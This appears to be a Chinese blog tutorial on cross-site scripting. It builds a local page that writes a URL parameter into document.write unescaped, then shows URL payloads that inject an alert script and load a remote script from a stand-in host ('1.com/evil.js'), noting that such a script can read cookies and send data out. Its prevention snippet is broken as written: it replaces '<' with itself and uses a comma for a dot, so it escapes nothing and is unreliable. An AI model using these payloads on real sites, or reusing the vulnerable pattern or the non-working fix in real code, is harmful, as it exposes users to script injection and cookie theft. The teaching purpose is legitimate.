xss
跨站腳本,稱為xss這個術語用來表示一類的安全問題,指攻擊者向目標web站點注入html標簽或者腳本。
來一個小栗子
substring 返回介於兩者之間的字符串,如果省去最后一個參數,則直接以length為填充
window.location.search 返回/后面內容包括問號
返回?后面的參數
window.location.search.substring(1)
decodeURIComponent() 將url進行解碼,返回解碼后的utf-8格式
<!doctype html>
<html>
<head>
<title>這是標題</title>
<meta charset="utf-8">
</head>
<body>
<script>
var name = decodeURIComponent(window.location.search.substring(1)); // 獲取參數
console.log(name);
document.write("hello " + name);
</script>
</body>
</html>
訪問
http://abc.com:8887/?%20word
本地使用web server for chrome 完成了本地靜態服務器的搭建,使用host文件,強制修改home.abc.com 以及 abc.com 到 127.0.0.1 完成域名的綁定,因為js腳本不能本地運行,因為有跨域的限制
頁面輸出
hello word
這是一個灰常正經的頁面。
下面如果嘗試輸入
http://abc.com:8887/?%3Cscript%3Ealert("David")%3C/script
事實上現在的瀏覽器很智能了。。已經自動解析了。已經自動暫停解析了,最后加上%3e被瀏覽器攔截,自動的,去掉以后,由於容錯機制,自動生成
好吧,要不是這容錯機制,xss還沒法實驗呢。無奈,現在太智能了,小白的手法,已經不行嘍
<script>
</script>
導致能允許。好吧,去掉自動攔截,chrome直接禁止訪問了。╮(╯▽╰)╭
https://developer.mozilla.org/zh-CN/docs/Web/HTML/Optimizing_your_pages_for_speculative_parsing
使用的是預解析,自動平衡樹
此時script變身成為
document.write('hello ' + <script>alert("David")</script)
好啦,接着,就會出現一個彈窗,David
因為使用這個url自動生成一個另外一個腳本,由於瀏覽器自動的安全措施,所以使用瀏覽器頁面預解析,寫一個不平衡的樹,初始瀏覽器解析的時候自動添加上
<script>
</script>
事實上,現在基本上都會屏蔽掉的,和sql注入一樣,都是非常小白的攻擊手法。╮(╯▽╰)╭
導致出現彈窗,xss完成
接着下面還有
使用src引入一個腳本。
http://abc.com:8887/?%3Cscript%20src=%E2%80%9Chttps://1.com/evil.js%E2%80%9D%3E%3C/script%3E
這樣就完成了一次腳本的注入。會將其他站點的腳本,通過連接進行注入。
可以對該站點的內容做任何的操作,以及讀取cookie,以及將數據發送回站點
事實上瀏覽器插件就是這樣干的,在頁面中加入js腳本,通過更改頁面的js來達到對頁面修改的目的
更多內容 https://www.ibm.com/developerworks/cn/security/se-prevent-cross-site-scripting-attacks/index.html
預防
通過使用replace()全部替換為實體即可。
name = name.replace(/</g, "<"),replace(/>/g, ">");
總結
xss和sql注入一樣,屬於小白攻擊法,要說簡單也很簡單,要說難也很難
拒絕服務攻擊
如果一個站點無限彈窗,瀏覽器會卡死。包括使用js挖礦什么的,都不值得一提了。